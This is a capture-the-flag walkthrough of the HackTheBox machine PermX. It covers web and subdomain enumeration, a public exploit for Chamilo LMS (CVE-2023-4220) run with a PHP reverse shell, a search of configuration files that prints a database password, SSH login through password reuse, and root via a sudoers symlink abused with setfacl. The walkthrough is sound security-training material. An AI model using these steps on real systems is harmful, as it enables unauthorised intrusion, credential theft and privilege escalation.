HackTheBox: PermX

Host Enumeration

As usual, we begin with an nmap scan to identify listening services.

• 22: ssh
• 80: http

Using the ports we can look deeper and verify the software versions:

• 22: OpenSSH 8.9p1
• 80: Apache httpd 2.4.52

Lets take a look at that website!

Enumeration - HTTP

(Note: quickly before we begin, let’s add the host information to the /etc/hosts file)

Now back to hacking:

We see that it is some sort of eLearning website (as seen by the big logo!). I tried to poke around the links, but wasn’t able to find any pages which really caught my eye. I decided to use some tools here which could help me out!

I used GoBuster first - this is one of my go-to web-enumeration tools.

(Note: the below command works because I put the permx IP address in the /etc/hosts file)

$ gobuster dir \
-w /usr/share/wordlists/dirbuster/directory-list-2-3.medium.txt \
- u http://permx.htb

Interestingly gobuster didn’t really have so much information for us. At first glance, it appears as if these are just directories used for the data that is on the website. For example:

• /img
• /css
• /lib
• /js
• /server-status (notably this is HTTP 403 Forbidden, which is pretty standard)

It seems like GoBuster isn’t able to help us out here in the directories. So the next step is to fuzz for subdomains! I haven’t done this in a while, so I had to read up a bit on fuzzing for subdomains. I was quickly reminded about the tool ffuf.

ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

We quickly see that practically all responses are 18 words. We’re looking for the needle in the haystack here. Good thing is that we can filter by the amount of words in the response! (Use the -fw flag)

ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 18

Straight away we have a more useful response here. We have two subdomains:

1. www= http://www.permx.htb
2. lms= http://lms.permx.htb

The lms subdomain looks intersting. Let’s check it out!

Initial Exploit Shell

We have a couple of different paths that we could take here. For example we could try to brute-force the credentials, but it could take a while because we aren’t aware of the username (beyond administrator which we see on the bottom right of the screenshot.).

In the end I decided to simply Google some vulnerabilities of the Chamilo LMS. The first page on Google shows a lot of links towards an unauthorized RCE vulnerability. The main one which we are looking at here is CVE-2023-4220. There was a pretty handy GitHub repo with a prepared exploit (GitHub Repo). I quickly prepared the pentestmonkey phpreverseshell, and fired up the exploit:

./CVE-2023-4220.sh -f php-reverse-shell.php -h http://lms.permx.htb -p 4444

Post-Exploitation: Getting to the local user

Right now we are in a pretty basic shell as www-data. Basically my first hope here is to find some (re-used) credentials in the system. So I decided to find and check the contents of some configuration files, using this command:

find . -type f -name "*configuration*" 2>/dev/null

And we are presented with a load of configuration files within the Chamilo app. This is the one where the credentials were stored in:

./var/www/chamilo/app/config/configuration.php

$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3386';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['db_manager_enabled'] = false;

I thought I would try my luck, and check if the password used here is re-used for the main user account. We quickly have to check the /etc/passwd file to find out the username.

And let’s try to login wih SSH :)… Success! Time to escalate to root.

Privilege Escalation

My first step is to use the good old LinPEAS script. Straight away this gives us a pretty big hint; mainly that the mtz user is allowed to execute the /opt/acl.sh script with root privileges, without the root password.

This is the code of that script:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

$ Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Basically, this script uses the setfacl binary to set permissions to a target file, all based on the command line arguments. The setfacl is executed in root context (/usr/bin/sudo) and can be executed without root password (as we saw in the sudo -l command).

Usage example (grant rwx permissions to alice for myfile.txt):

/opt/acl.sh alice rwx /home/mtz/myfile.txt

There are even some security features built into this script, so nothing can go wrong… ;)

1. Restricts operations to files in /home/mtz/.
2. Prevents directory traversal attacks.
3. Ensures the target is a valid file.

Anyways… enough kidding ourselves. It’s time to hack!

The setfacl is a LOLBAS or GTFOBin. Let’s try to exploit it!

This took quite a bit of reading up for me, but this is what I came up with in the end. These are the steps:

1. Create a symlink file of the /etc/sudoers file, and name it lolbas within the mtz home directory.
2. Execute the script, adding rwx permissions to our symlink file (the goal is to be able to write to the /etc/sudoers file).
3. Edit the lolbas file (symlink of /etc/sudoers), and allow mtz user to execute sudo without password (seen in the screenshot below).
4. Escalate to root :)

And that’s it!

Thanks for reading :)